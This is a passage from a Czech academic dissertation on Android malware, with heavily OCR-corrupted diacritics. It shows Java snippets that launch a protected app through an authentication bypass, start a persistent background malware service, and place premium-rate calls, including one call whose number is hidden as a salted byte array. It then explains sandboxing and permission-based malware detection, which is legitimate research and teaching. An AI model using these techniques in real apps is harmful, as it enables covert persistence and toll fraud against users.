implementace metod onCreate, onStartCommand, onDestroy a onBind. Pti¢emz
je dilezité neprovadeét implementaci korektnim zpiisobem, ktery je popsan v
primarni dokumentaci [154]. Pro skutecné nezavislé fungovani malwaru je
nezbytné vytvoftit potomka tfidy Service tak, jak je naznaceno ve vySe uvedené
ukazce.

Metodu free onClick reprezentujici kliknuti na tladitko *** FREE *** z
piedchoziho ptikladu Ize upravit tak, zZe nejprve bude v hlavnim vlakné spusténa
chranéna Cast aplikace Best Maps PTLab. Nasledné se nastartuje malware jako
sluZzba na pozadi a na konec se zavola metoda finish. Mozné feSeni je naznaceno
v ukézce zdrojoveého kodu:

public void free_onClick(View v)

{
I AUTHENTICATION BYPASS
/I HLAVNI VLAKNO:
Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("cz.utb.fai.bestmaps_ptlab",
"cz.utb.fai.bestmaps_ptlab.BestMapsActivity"));
startActivity(intent);

/I START SLUZBY MALWARE
Intent servicelntent = new Intent(this, ServiceMalware.class);
startService(servicelntent);

finish();
}

Takto spusténa sluzba mize dlouhodobé& bézet na pozadi a jeji vykonavani neni
zastaveno ani v ptipad¢, ze aplikace, ze které byla sluzba spusténa, sama jiz neb&zi
(byla ukoncena uzivatelem nebo operacnim systémem). Pokud ma systém
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nedostatek paméti a zaroven musi pokryt potieby aktivity aplikace, ktera
momentalné béZi na displeji mobilniho zatizeni (aplikace, ktera ma fokus), pak
muze byt Cinnost malwaru jako sluzby vykonavajici Skodlivy kod nasilné
ukoncena. Primarni dokumentace uvadi doslova toto:

“The Android system force-stops a service only when memory is low and it
must recover system resources for the activity that has user focus.* [154]

Pro robustni navrh malwaru je nutné s moznosti nasilného ptreruseni sluzby
pocitat a vytvoftit takovy design, ktery se dokaze vypotadat i s takto extrémnimi
situacemi. Jedno z moZnych feSeni je, Ze sluzba malwaru si ve své metodé
onDestroy ulozi veskery potfebny kontext do privatniho datového prostoru
hostitelské aplikace. Béhem opétovného spusténi si malware nejprve nacte
potiebny kontext a teprve potom pokracuje ve své skodlivé €innosti. Na obrazku
5.62 jsou vidét rozdily v implementaci malwaru.

Béh popredi/Béh na pozadi

Android Emulator - mmm:5554 Android Emulator - mmm:5554

Malware sluzba se sama zastavi
pomoci stopSelf nebo je v pfipadé
nedostatku paméti zastavena
operacnim systém

START TO USE BEST MAPS

Hlavni GUI vlakno Ukonceni

o

Malware vlakno na pozadi | Ukonceni

:: > Malware sluzba na pozadi Ukonceni

Obr. 5.62: Rozdily v implementaci malware [zdroj viastni]
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6. DETEKCE MOBILNIHO MALWARE POMOCI
UMELE INTELIGENCE, PREDEVSIM UMELYCH
NEURONOVYCH SITI

V piedchozich kapitolach byly popsany bezpecnostni chyby, kterych vyuzivaji
tvlirci mobilniho malware. Od prace s APK, Hidden APK balicky ptes statickou
a dynamickou analyzu az po zjiSténi, Ze Google Play nema dostate¢nou kontrolu,
pfedevSim ve statické analyze, jelikoZ je tam mozné malware dostat legitimnim
zpusobem. Miliony uZivatell si pak stdhnou malware, aniz by tusili, Ze jsou
v ohroZeni. Proto kromé vySe uvedenych metod je vhodné vyvijet 1 techniky, které
malware odhali, napt. sou¢ast antivirovych programi. V tomto thlu je pozornost
sméfovana k oblasti strojového uceni, pfedevSim neuronovym sitim, které jsou
znamé svymi vybornymi klasifikaénimi schopnostmi za ptredpokladu, ze na
vstupu dostanou ,,rozumna“ data. Mezi dalsi techniky strojového uceni je mozné
zatadit napt. Naivni Bayesovsky klasifikator [169], Logistickou regresi [170],
Metodu podptirnych vektort (Support Vector Machines) [171], Nahodny les
(Random forest) [172], ¢i metodu k-nejblizSich sousedl (k-nereast neighbours)
[173] a dalsi.

6.1 Princip detekce mobilniho malware pomoci umélé
inteligence a strojového uceni

Moderni operacni systémy vyuzivaji k ochran€ mobilnich aplikaci takzvany
Application Sandboxing. Jedna se o bezpe€nostni mechanismus, ktery odd¢luje
aplikace a jeji zdroje od ostatnich aplikaci, zdroji, opera¢niho systému a
dalezitych hardwarovych modulli mobilniho zatizeni (naptiklad fotoaparat,
mikrofon, ...). V operanim systému Android je Application Sandboxing feSen
pomoci jadra systému, UID (User ID, které je jedineéné ¢islo x € {x |x EZ A
x > 0}) a Unixového systému opradvnéni. Ve standardni Linuxové distribuci
systém piid€luje jedinecné UID kazdému uzivateli operacniho systému. Tim od
sebe odd¢€luje jednotlivé uzivatele véetné jejich domovskych adresaiti a dat v nich
obsazenych. Operacni systém Android posouva mechanismus jesté dal. Jedine¢né
UID je ptidéleno kazdé aplikaci. To znamend, Ze kazda aplikace bézi jako
samostatny proces a jen ona ma ptistup ke svym vlastnim zdrojim, jako jsou
napiiklad XML soubory, databidze a podobné. Zaroven dand aplikace nemize
pfistupovat k prosttedkiim jinych aplikaci nebo piimo komunikovat
s ostatnimi aplikacemi. Tim je kazd4 aplikace uzaviena na svém vlastnim
piskovisti (Sandboxu). Na obrazku 6.1 je vidét, Ze kazda aplikace bézi jako
samostatny proces, ktery je oddé€len od ostatnich procesti a ma vlastni jedine¢né
UID.
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— V operacnim systému Android ma kazda aplikace jedinecné UID

root@generic_x86:/ # ps | grep u0O_
1608 1136 315660 49432 ffffffff b76d5f1b S com.android.systemui
1639 1136 301868 30104 ffffffff b76d5f1b S com.google.android.inputmethod

1653 1136 294528 29384 ffffffff b76d5f1b S android.process.media
1674 1136 379660 56016 ffffffff b76d5f1lb S com.google.android.gms.persist

1702 1136 319984 54104 ffffffff b76d5f1b S com.android.launcher

1716 1136 289668 22168 ffffffff b76d5f1b S com.android.printspooler
1740 1136 288404 21956 ffffffff b76d5f1b S com.android.externalstorage
1773 1136 294608 28908 ffffffff b76d5f1b S android.process.acore

Obr. 6.1: UID v operacnim systému Android [zdroj viastni]

To je velkd zména proti standardni Linuxové distribuci, kde vSechny aplikace
slouzici danému uZzivateli, maji jeho UID, viz obrazek 6.2. Princip oddéleni
aplikaci pomoci technologie Application Sandboxing na jednu stranu vyrazné
zlepSuje zabezpeceni mobilnich aplikaci, nebot” aplikace jsou od sebe odd€leny a
nemohou tak na sebe pfimo ttocit ¢i snazit se vzajemné si odcizit data. Na druhou
stranu Application Sandboxing velmi znesnadiiuje praci mobilnim antivirovym
programim. Také jsou to aplikace, které bézi ve svém Sandboxu a vztahuji se na
né vesSkera omezeni, stejné jako na ostatni mobilni aplikace. Pro antivirové
programy je v t€chto podminkach tézké dohliZet na uzivatelské mobilni aplikace
a provadét bezpecnostni kontroly. Z tohoto ditvodu antivirové spole€nosti hleda;ji
alternativni feSeni. Jako jedna zvelmi efektivnich metod se jevi detekce
mobilniho malwaru pomoci umélé inteligence a strojového uceni, napf.
neuronovych siti. Vhodnost pouZiti neuronovych siti je dana zcela odliSnym
piistupem k detekénimu procesu.

V operacnim systému Linux maji aplikace UID uZzivatele, ktery je pouziva

milap@ubuntu:~$ ps -aux grep milan
2146 5 0. 45248 4496 ? s - /lib/systemd/systemd --user
2147 5 .0 145132 1872 ? g - (sd-pam)
2154 5 .1 205328 8532 ? H - Jusr/bin/gnome-keyring-daemon --daemonize --login
2156 5 . 46596 4840 ? : - /sbin/upstart --user
2233 5 . 32972 280 ? s - upstart-udev-bridge --daemon --user

18563 5 .4 779672 37120 ? - - gnome-calculator
18573 5 .2 585352 22820 ? - - Jusr/1lib/gvfs/gvfsd-http --spawner :1.4 /org/gtk/gv

fs/exec_spaw/2
18594 5 .5 1145480 44280 ? . - Jusr/bin/gnome-calendar --gapplication-service
18660 . . 37476 3208 pts/2 : : ps -aux
18661 5 . 14336 932 pts/2 s - grep --color=auto

Obr. 6.2: UID ve standardni Linuxové distribuci [zdroj viastni]

Pozndmka 1: mobilnim aplikacim neni komunikace a vyména dat zcela
zakdzand. Takovy operacni systtm by byl sice velmi bezpecny, ale
z uzivatelského hlediska omezené pouZitelny. Pokud spolu chtéji mobilni
aplikace komunikovat nebo si vyménovat data, nemohou to délat pfimo, ale musi
pouzit prostfednika. Tim prostftednikem je Secure IPC (Inter-Process
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Communication). Android pouzivd takzvany Binder Framework, ktery je
postaven na OpenBinder [22]. Jedn4 se o velmi propracovany systém vyuZivajici
prvky, jako jsou Proxy, Stub ¢i Binder Driver. Nicmeéné jiZ existuje mechanismus,
jak Binder Framework prolomit. Utok se jmenuje Man in Binder a byl popsan na
konferenci Black Hat v roce 2014 [135].

Poznamka 2: V mechanismu jedinecnosti UID aplikaci existuje vyjimka.
Pokud jsou dvé anebo vice mobilnich aplikaci podepsané stejnym vyvojarskym
kli¢em, pak operacni systém vSem témto aplikacim pfidéli stejné UID. To
znamend, ze Sandboxing pro tyto aplikace neplati. Mohou spolu komunikovat
pfimo. Na druhou stanu je potteba pocitat s tim, Ze odcizeni dané¢ho klice bude
mit fatalni nasledky z hlediska bezpecnosti. Situace je zobrazena na obrazku 6.3.

root@generic_x86:/ # ps | grep u0@_a7
1674 1136 379596 55752 ffffffff b76d5flb S com.google.android.gms.persistent
1827 1136 375920 49076 ffffffff b76d5f1lb S com.google.process.gapps

1897 1136 512552 77384 ffffffff b76d5f1b S com.google.android.gms
1966 1136 370196 54468 ffffffff b76d5f1b S com.google.android.gms.unstable
2213 1136 348496 34972 ffffffff b76d5f1b S com.google.android.gms.ui

i Obr. 6.3: Néekolika aplikacim bylo pridéleno stejné UID: u0 a7 [zdroj viastni]
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6.1.1 Algebra opravnéni

Nasledujici pododdil se vénuje algebie opravnéni, ktera predstavuje jeden
z klicovych mechanismil vyuzivanych metodami automatizované analyzy vzorkt
mobilniho malware, popsané v pododdilu Automatizovana analyza podezielych
vzorkil mobilnich aplikaci. Algebra opravnéni je postavena na skutecnosti, Ze
mobilni malware pouzivd rtizné¢ zplsoby maskovani, riizné techniky ochrany
znesnadnujici jeho analyzu, a tim 1 objasnéni jeho Skodlivych zamérh. Existuje
jedno misto, kde musi kazda aplikace, tedy 1 mobilni malware poodhalit sve
skute¢né zaméry. Tim mistem je soubor AndroidManifest.xml a prosttedkem jsou
takzvané Android Permissions (opravnéni). Systém opravnéni slouzi k zajiSténi
bezpecnosti pro samotny operacni systém 1 pro uzivatele a jejich aplikace [153].
Pokud mobilni aplikace poZaduje urcita citliva data (napt. kontakty uZivatele) ¢i
funkcionalitu systému (napft. ptistup k telefonnimu subsystému ¢i GPS modulu),
musi o tyto prostitedky poZadat prostfednictvim opravnéni definovanych
v souboru AndroidManifest.xml [153]. Mechanismus pfidélovani opravnéni se
1181 v zavislosti na tom, o jak citlivou oblast se jednd. Data a syst¢tmové zdroje
mimo Sandbox aplikace, jako naptiklad nastaveni ¢asové zony, pfestavuji pro
uzivatele a jeho mobilni zafizeni jen malé nebezpeci. Z toho diivodu je tento typ
opravnéni pifidélovan automaticky operacnim systémem, aniZz by tim byl
obtéZovan uzivatel. MnoZina podobnych opravnéni je souhrnn€ nazyvana Normal
Permissions. Systémové prostredky, jejichZz poskytnuti mlze ohrozit citliva
osobni data uzivatele, operacni systém nebo jin¢ aplikace, jako naptiklad moznost
pofizovat audio nahravky, jsou aplikacim poskytovany prostrednictvim
takzvanych Dangerous Permissions. Pro udéleni nebezpecnych opravnéni je
vyZadovana nejen jejich definice v souboru AndroidManifest.xml, ale 1 explicitni
udéleni daného opravnéni uzivatelem [155]. Normal Permissions a Dangerous
Permissions jsou statické seznamy, o které se stard spole¢nost Google Inc.
Seznam nebezpecnych opravnéni je zvefejnén v [156], v tabulce Dangerous
permissions and permission groups. Seznam normalnich opravnéni je zvefejnén v
[156], v seznamu PROTECTION NORMAL. Pokud by se aplikace pokusila
piistoupit k chranéné funkcionalité ¢i chranéné Casti systému, aniZ by k tomu
méla pfislusnd opravnéni, systém okamzit¢ be&h aplikace ukonci a
SecurityManager [157] vyvola SecurityException [158]. Krom¢ normalnich a
nebezpecnych opravnéni existuji 1 dalsi typy opravnéni jako napiiklad Special
Permissions. Nicmén¢ ty nejsou z hlediska analyzy opravnéni ptili§ dilezita. Viz
”The two most important protection levels to know about are normal and
dangerous permissions” v [153].

Systém opravnéni 1 Application Sandboxing muze byt poSkozen takzvanymi
Custom ROMs [159] nebo procesem ziskani prav super uzivatele (Rooting/Root
mobilniho zafizeni). Uvedené postupy provadéji sami uZivatelé s cilem ziskat nad
zatizenim vétSi kontrolu, a tim ziskat 1 funkce, které nejsou ve standardnich
mobilnich zafizenich dostupné. Dani za vétsi kontrolu je zvySené bezpecnostni
riziko, kterému je upravené¢ mobilni zatizeni vystaveno. Jedna se napftiklad o
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mozZnost poskozeni zabezpeCovacich mechanismi opera¢niho systému. Custom
ROMs navic nepodléhaji jakékoliv oficidlni kontrole. To znamend, Ze Gtoc¢nici
nemusi napadat jen mobilni aplikace, ale mohou vytvofit popularni ROM.
Utoénikiv. ROM miize zajimavym zpiisobem upravovat opera¢ni systém a
zaroven Utocnikovi umoziuje kontrolu nad celym systémem (napiiklad Remote
Code Execution, Backdoor a podobng¢).

Kromé vySe uvedeného statického ptistupu spolecnosti Google Inc. existuje 1
dalsi zpusob, jak na opravnéni nahliZet. Jedna se o kategorizaci z pohledu aplikace
(tzv. ”Application Point of View*), kterd se vytvaii dynamicky pro kazdou
vySetfovanou mobilni aplikaci zvlast. Aplikacni kategorizace rozd€luje
opravnéni, kterd mobilni aplikace pozaduje do dvou mnoZin:

e mnoZina vSech opravnéni (Requested Permissions): jedna se o vSechna
opravnéni, o ktera mobilni aplikace pozadala prosttednictvim souboru
AndroidManifest.xml,

e mnoZina funkcénich opravnéni (Function Permissions): jsou to opravnéni,
ktera aplikace pottebuje, aby mohla vykonavat svou funkci. Dand mnoZina
se posuzuje vzhledem k tfid¢ aplikace.

Napiiklad pokud mobilni aplikace diktafon pozddd o opravnéni
RECORD_AUDIO (pfistup k modulu mikrofonu mobilniho zatizeni a moZnost
pofizovani audio nahravek), jedna se o funk¢ni opravnéni. Aplikace diktafon neni
schopna vykonéavat svoji funkci bez opravnéni RECORD AUDIO. Pokud
aplikace diktafon pozadd o WRITE CALL LOG (umoZiuje manipulovat
s vypisem hovori, naptiklad maskovat skutecnost, Ze bylo volano na cisla se
zvysSenou sazbou), je jasné, ze se nejednd o funkéni opravnéni.

Analyza opravnéni probiha pomoci proprietarnich nastroji, které jsou soucasti
know-how antivirovych a penetra¢nich spolecnosti. Nejprve je pomoci vSech
dostupnych néstroji urcena tiida aplikace. Proces urCovani tfidy aplikace Casto
vyuziva statistickd data a metody. Spole¢nosti zabyvajici se bezpecnosti
mobilnich aplikaci maji k dispozici vysledky analyz opravnéni velkého mnozstvi
vzorkil neinfikovanych legitimnich aplikaci, u kterych byla urcena tfida aplikace
a byla provedena statistickd analyza opravnéni. Dal$i metodou je mapovani
opravnéni z AndroidManifest.xml na piikazy nativniho jazyka. Technika je
postavena na faktu, Ze pro vykonani v§ech dilezitych ptikazii (v€etné potencialné
nebezpecnych piikazl) aplikacni logiky musi mit aplikace/malware nadefinovana
1 ptislusnd opravnéni v AndroidManifest.xml, viz obrazek 6.4. To znamena, Ze
dalezité prikazy aplikacni logiky mohou byt pouzity jako identifikator slouzici
pro spravné zatazeni vySetfované aplikace do tfidy. V ramci popisu procesu
zatazeni vySetfované¢ho programu do aplikaéni tfidy je vyraz tfida pouzit ve
dvojim vyznamu:

e tiida jako prvek objektové orientovan¢ho jazyka, uvedend tfida vlastni
metody skladajici se z posloupnosti ptikazl jazyka Java,

e aplikacni tfida, do které bude vySetfovany software zatazen.
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APK aplikace

Tridy aplikacni IogikyJ-r Tfida 1 ~ Metoda 3, TFidy 1 AndroidMAnifest.xml
Trida 1 Metoda 1 Prikaz 1 Oprdvnéni 1
Trida 2 Metoda 2 Ptikaz 2 —_— Opravnéni 2
Ttida 3 Metoda 3 Pfikaz 3 Opravnéni 3
Tridai Metoda j Prikaz k Opravnéni |

Obr. 6.4: Vztah potencionalné nebezpecnych prikazii a jim odpovidajicich opravnéni
[zdroj viastni]

Fakt, Ze dilezitym ptikaziim nativniho jazyka odpovidaji pfisluSna opravnéni
v souboru AndroidManifest.xml, umoziiuje na problém nahlizet jako na
surjektivni zobrazeni. Jedna se o surjektivni zobrazeni mnoziny vSech dilezitych
(identifika¢nich) ptikazl nativniho jazyka Z na mnoZinu ptislusnych opravnéni
0.

f:Z—0

Kazdému opravnéni o € O odpovida alespon jeden dulezity ptikaz z € Z.
Technika mapovani provani ad-hoc inverzi zobrazenti f.

f7l.0 -z

Syntakticky  analyzator  postupné  prochdzi  opradvnéni v souboru
AndroidManifest.xml a pomoci regularnich vyrazl rekurzivné vyhledava dilezité
piikazy v dekompilovan¢é APK aplikaci. Definice, Upravy a zpiesiiovani
surjektivniho zobrazeni f je narocny proces, ktery je potieba neustdle udrzovat a
zapracovavat do ng) nejnovési typy legitimnich mobilnich aplikaci 1 nové
piikazy. Z tohoto ditvodu jde o nevetejné vyzkumné know-how spole€nosti, které
se zabyvaji bezpecnosti na mobilni platformé.

Nasleduje formalizovany popis aparatu zatfazeni testované aplikace do
piislusne tfidy. Plati-li, Ze AndroidManifest.xml vySetfované aplikace obsahuje
opravnéni

01 €EO0OAN0, EON..N0; EO
pak existuji pravdépodobnosti P(ttida 1), P(trida 2), ..., P(ttida n), kde n

je celkovy pocet v8ech tiid mobilnich aplikaci, pro ktery plati, ze P(tfida k) <
x,kdex €e<01>Ax€eRAk€E{L,2..,n}
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Do dalsi c¢asti procesu jsou vybrany takové tridy k, pro jejichz
pravdépodobnosti  P(tfida k) plati, Ze P(tfidak) = m, kde m je
experimentalné zjiSténd mez (proprietarni know-how spole¢nosti), naptiklad:
m = 1—70. Pocet ttid, které splnuji podminku meze m, je q. Z vySe uvedeného
plyne, Ze ¢ < n.

Nyni je provedeno inverzni zobrazeni f~!, pomoci kterého jsou nalezeny
ptikazy:

Z1€EZNZ; €ZN... Nz €EZ

Je-li nalezena konfigurace dileZitych prikazi z; € ZAz, € ZA ... Az € Z,
pak plati, Ze existuji zpiesiujici pravdépodobnosti P(tfida 1), P(trida 2), ...,
P(trida q). Z nich je vybrana takova tfida r, ktera pro vSechny zpfesfiujici
pravdépodobnosti P(tiida 1), P(ttida 2), ..., P(tfida q) spliiuje podminku:
P(tridar) = P(trida y),y € {1, ..., q}. ZvySe uvedeného je jasné, Ze je
vybrana takova tfidar, jeZ ma nejvysSi pravdépodobnost P(tfidar), ze
obsahuje piikazy zy € ZAz, €EZ AN ... Nz € Z.

V soucasné dobé probiha na fadé€ pracovist’ intenzivni vyzkum, ktery se zabyva
zafazovanim vySetfovaného mobilniho software/malware do pftislusnych ttid.
Naptiklad, jsou na zakladé¢ empirickych zkuSenosti extrahovany zobecnujici
mnozinové operace. Pouzivaji se 1 netechnické pomocné metody, pokud je
testovana aplikace publikovana prosttednictvim Google Play, pak se bere v tvahu
1 kategorie (Hudba a zvuk, Pocasi, ...), ve které se dané aplikace nachazi.

Vyse uvedeny postup 1ze shrnout do nasledujiciho popisu. Parser si ptecte, jaka
opravnéni  vySetfovanad aplikace  poZaduje prostfednictvim  souboru
AndroidManifest.xml. Na jejich zakladé se vypoctou pravdépodobnosti, Ze dana
aplikace patii do tfid 1 aZ n. Jedna se o proprietarni vypocet dané spolecnosti,
ktery byl ziskdn na zdklad¢ analyzy opravnéni velkého mnozstvi legitimnich
aplikaci. Parser vybere tfidy 1 aZ g, které maji pravdépodobnost ptisluSnosti vyssi
nebo rovny mezi m. Nasledné se provede inverzni zobrazeni f ~1, pomoci kterého
jsou nalezeny dulezité piikazy, které odpovidaji opravnénim ze souboru
AndroidManifest.xml. Podle nalezené¢ konfigurace ptikazli se znovu piepocitaji
pravdépodobnosti, Ze dana aplikace patii do vybranych tfid 1 az g, jeZ mély
v ptedchozim kroku pravdépodobnost vyssi nebo rovnu mezi m. Opét se jedna o
proprietarni vypocet dané spolecnosti, ktery byl ziskdn na zdkladé analyzy
opravnéni velkého mnozZstvi legitimnich aplikaci. Vypofet muize byt jesté
zpfesnén pomocnymi metodami, jako jsou zobeciiujici mnozinové operace ¢i
kategorie Google Play. Na zakladé vySe uveden¢ho postupu je vybrana ttida
s nejvyssi pravdépodobnosti. Metoda mapovani opravnéni na ptikazy nativniho
jazyka je vyuZzivana nejen pro uréovani odpovidajici tfidy aplikace, ale 1 hledani
Skodlivych funkci malware. Metoda je stejna, jen se vypocet fidi daty ziskanymi
na zaklad¢ analyzy opravnéni velkého mnoZstvi kompromitovaného malware.
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Misto mnoZiny dillezitych ptikazii se hledd mnoZina potencionalné nebezpecnych
piikazi.

Na zaklad¢ urceni tfidy vySetfované aplikace je mozné stanovit odpovidajici
mnozinu funkénich opravnéni. To znamena, Ze jsou ureny Ctyfi mnoziny:

e A: mnozina vSech opravnéni (ziskdna analyzou souboru
AndroidManifest.xml).

e B: mnoZina funkénich opravnéni (pfidélena na zéklad€ vypocitane
piislusnosti vySetfované aplikace k dané¢ tiidé¢).

e C: mnoZina normalnich opravnéni (statickd mnoZina spolenosti Google
LLC)).

e D: mnoZina nebezpecnych opravnéni (staticka mnozina spole€nosti Google
LLC)).

MnoZiny hraji vyznamnou roli pii detek¢ni podezielé aplikace pomoci algebry
opravnéni.
V ramci detekéniho procesu je provedena mnozinova operace A — B:

e plati-li, ze A— B = @, aplikace neni oznaCena jako podeziela. Protoze
nepozaduje vice opravnéni nez vzhledem ke své tfidé, a tedy 1 funkcionalité
potiebuje. Jinymi slovy aplikace poZaduje jen opravnéni, ktera potiebuje
pro sve spravné fungovani.

e plati-li, zZe A — B # @, aplikace je oznacCena jako podezield. Pozaduje vice
opravnéni nez vzhledem ke své trid¢, a tedy 1 funkcionalité¢ potiebuje.
Jinymi slovy aplikace poZaduje jak opravnéni, ktera potifebuje pro své
spravné fungovani (napf. aplikace diktafon: opravnéni
RECORD_AUDIO), tak 1 opravnéni, ktera jsou z hlediska ttidy aplikace
navic (napf. aplikace diktafon: opravnéni WRITE CALL LOG).
V takovém ptipad¢ se zjiSt'uje, zda plati:

e A—B C (. Aplikace pozaduje navic opravnéni, kterd jsou méné
nebezpetna (Normal Permissions). V takovém pfipad¢ se provadi
dodate¢néd série automatizovanych testli s cilem rozhodnout, zda se
jedna pouze o Spatné napsanou legitimni aplikaci ¢1 o malware.

e A — B C D. Aplikace pozaduje navic opravnéni, kterd jsou nebezpecna
(Dangerous Permissions). Nastane-1i uvedena situace, automatizovany
analyzator sestavi report a odesle ho spolu s testovanym APK balickem
k ruéni analyze, nebot’ je vysokd pravdépodobnost, Ze se jedna o
malware.

Princip detekce podeziel¢ aplikace pomoci algebry oprdvnéni je graficky
znazornén na obrazku 6.5.
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A = {requested permissions} Set relations:
B = {function permissions} BCc A
C = {normal permissions} CND=29
D = {dangerous permissions} CcAANCCcB
DcAADCB
suspicious application normal application
A A=B
B
C C
D D
A-B +¢ A-B=0
Obr. 6.5: Princip stanoveni podezrelé aplikace pomoci algebry opravnéni [zdroj
viastni]

Vyse popsany proces se provadi s kazdou vySetfovanou aplikaci zvlast. Jako
kazda metoda, 1 stanoveni podezielé aplikace pomoci algebry opravnéni ma své
limity:

e pokud malware piSe tviirce obezndmeny se soucasnymi detekénimi
mechanismy, ktery vhodné zvoli legitimizujici €ast aplikace, na jejiz
funkéni pozadavky navaze nelegitimni poZadavky. Tj. pro provadéni
Skodlivé cinnosti, bude platit, ze A — B = @. Takovy malware bude
rezistentni proti kontrole zaloZené na algebte opravnéni.

e dalsi hate detekovatelnou skupinou jsou Spatné napsané aplikace. U nich
sice plati, ze A — B # @, ale pritom neprovadi zadnou Skodlivou Cinnost.
Z tohoto diivodu vzdy, kdyZ nastane situace A — B # @, by mél nasledovat
test zaloZeny na dynamické analyze chovani, ktery by mél byt schopen
vyloucit Spatné naprogramované mobilni aplikace.

6.1.2 Automatizovana analyza podezielych vzorki mobilnich aplikaci

Na zaklad¢ poznatkii popsanych v pfedchozich kapitolach je mozné objasnit
postupy pouzivané automatizovanou analyzou podezielych vzorkii mobilnich
aplikaci. VétSina spoleCnosti, které se zabyvaji automatizovanym vySetfovanim
mobilnich aplikaci, pouziva metody statické 1 dynamické analyzy. VySetrovaci
metody jsou integrovany do jediného komplexniho systému slouziciho jako
nastroj automatizované analyzy (NAA). NAA systémy jako svilj vstup akceptuji
vysetfovany APK bali¢ek mobilni aplikace a jako vystup automaticky vygeneruyi:

e komplexni vySetfovaci zpravu s Casovou osou, ktera prehlednym zplisobem
shrnuje vSechna dilezita fakta zjiSténd v pribéhu bezpecnostniho testu.
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e Uplny feature log, ktery je klicovy pro dalsi faze detekce mobilniho
malware pomoci neuronovych siti.
NAA je sloZen z jednotlivych modulii, které 1ze libovolné zapinat a vypinat,
rovnéZ 1ze ménit konfiguraci testa.

Moduly statické analyzy

NAA moduly statické analyzy jsou postaveny na:

mapovani opravnéni na Skodlivé ptikazy nativniho jazyka,
bezpecnostnich testech vychazejicich z algebry opravnéni,
hledani Skodlivych vzori programatorskych postupi,
hledani typickych ¢asti znamych malware,

hledani metod uzivatelské interakce,

a dalsi postupech.

Metody hledani Skodlivych vzordi programéatorskych postupli navazuji na
mapovani opravnéni na Skodlivé ptikazy nativniho jazyka, které bylo vysvétleno
v ptedchozi ¢asti dizertacéni prace. Metoda je zaloZena na hledani posloupnosti
piikazl, které mohou tvofit Skodlivou funkcionalitu. Metoda slouzi k nalezeni
obzvlasté nebezpecnych postupli mobilniho malware. Je-li v mnozing nalezenych
potencionalné Skodlivych ptrikazti nalezen ptikaz A, zjiStuje se, zda se
v relevantnim useku kddu nenachazi 1 ptikaz 1 nebo ptikaz 5. Je-1i nalezen ptikaz
5, hleda se piikaz IV a ptikaz VI. Viz obrazek 6.6, Cervené Sipky prestavuji
potencidlné nebezpecné piikazy.

| PiikazA | |PrikazB| |PrikazC| |Prikaz... |

|Piikaz 1| |Prikaz2| |Prikaz3| |Prikaz4| |Piikazs| |Pikaz6| |Pikaz7| |Piikaz.. ]

| Pikaz 1| |Prikazil| |Prikazill| |PrikazIV| |PikazV | |PHkazVi| |PHikaz Vil | | Piikaz...]

Obr. 6.6: Hledani posloupnosti prikazu, které mohou vytvorit Skodlivou funkcionalitu
[zdroj viastni]

Skodlivé vzory programatorskych postupti mohou byt pievedeny do grafu. Na

samotn¢ hledani nebezpecnych posloupnosti ptikazii mohou byt aplikovany
postupy hledani cesty v grafu, zname¢ z teorie grafu. Naptiklad mohou byt hrany
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grafu ohodnoceny podle nebezpecnosti svych uzll (uzly reprezentuji potencialné
nebezpecné priikazy nativniho jazyka). Pfednostné jsou vyhledavany cesty
s nejvetsim ohodnocenim a podobné. Aby byla metoda hledani skodlivych vzor
programatorskych postupli G€innd, je nutné neustale staticky analyzovat nove
vzorky mobilniho malware a nové nalezené€ postupy zatfazovat do testll. V urcitém
obdobi byl naptiklad béZzny malware, ktery bez védomi uZivatele vytacel Cisla se
zvysenou sazbou. Ukéazka kodu aktivni ¢asti malwaru:

Intent intent = new Intent(Intent. ACTION_CALL);
intent.setData(Uri.parse("tel:+909303303"));
startActivity(intent);

V rdmci mapovani opravnéni na Skodlivé piikazy nativniho jazyka bylo
v souboru  AndroidManifest.xml nalezeno opravnéni: <uses-permission
android:name="android.permission.CALL PHONE"/>. Poté byl ve zdrojovem
kodu hledan a nalezen Skodlivy ptikaz Intent. ACTION CALL. To znamena, Ze
fadek kodu Intent intent = new Intent(Intent. ACTION CALL); byl ptedan, jako
jeden ze vstupnich bodil procedufe hledani Skodlivych vzorii programatorskych
postuptll. Procedura bude hledat volani metody setData, a pokud ho najde, bude
hledat kli¢ové volani metody parse ttidy Uri. Metoda parse jako sviij parametr
pfijima String, kterym muiZe byt telefonni Cislo. To znamena, ze je nutné dany
String nalézt. String muze byt zadan piimo:
intent.setData(Uri.parse("tel:+909303303")); nebo pomoci volani néjakeé metody,
naptiklad: intent.setData(Uri.parse(this.getMyParse(countryCode)));. Jakmile je
fetézec nalezen, zjiStuje se, zda obsahuje predvolby (tzv. prefix) pro Cisla se
zvySenou sazbou, napiiklad 0900, 0902, 0903, 0904, 0905, 0906, 0907, 0909 pro
Belgii, 900, 906, 909, 976 pro Ceskou republiku a podobné. Za uréity &as tvirci
mobilniho malware vytvofili modifikaci, kde bylo telefonni ¢islo maskovano jako
posolené pole bajti:

Intent intent = new Intent(Intent. ACTION_CALL);

byte[] arrayForSalting = {114, -21, -55, 84, 64, 84, 32, -65, 118, 109, 87, -9, -84, -19};
byte[] mySalt = {6, -114, -91, 110, 107, 109, 16, -122, 69, 93, 100, -60, -100, -34},

saltByteArray sba = new saltByteArray(arrayForSalting, mySalt);
byte[] arraySalted = sba.getArraySalted();

intent.setData(Uri.parse(new String(arraySalted)));
startActivity(intent);

Z hlediska funkcionality jsou ob¢ ukazky totozné. Cilem Gpravy je znesnadnéni
bezpecnostni analyzy. Neni mozné fici, zda je volano néjaké legitimni Cislo a
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aplikace je jen Spatn¢ naprogramovana, nebo zda se vytaci Cislo se zvySenou
sazbou. Je proto nutné do NAA modulu, ktery se zabyva hledanim Skodlivych
vzoru pridat i1 tuto modifikaci. Naopak staré, jiZ nepouzivané vzory, je nutno
pravidelné z testll vyfazovat, aby zbytecné neprodluzovali jejich délku. Naptiklad
malware typu Evil Application (APK bali¢ek neobsahoval aktivitu, veskerou
Skodlivou c¢innost provadél pouze Broadcast Receiver) fungoval pouze
do Androidu 2.3. Na starSich verzich je jiz zndm (signatury vSech APK balickt
jsou zafazeny ve virovych databazich). Novy malware tohoto typu jizZ nevznika,
nebot’ mobilni zafizeni s témito starSimi verzemi operacniho systému predstavuji
0,2 % vSech mobilnich zafizeni [160]. Tvircim mobilniho malwaru se jiz
nevyplati psat novy Skodlivy software tohoto typu, protoZze mnozina potencialnich
obéti je velmi mala.

Metody hledani typickych casti znamych malwartt jsou zaloZzeny na
skute¢nosti, Ze nékteré¢ kusy Skodlivych koédi se pouzivaji vice nez v jedné
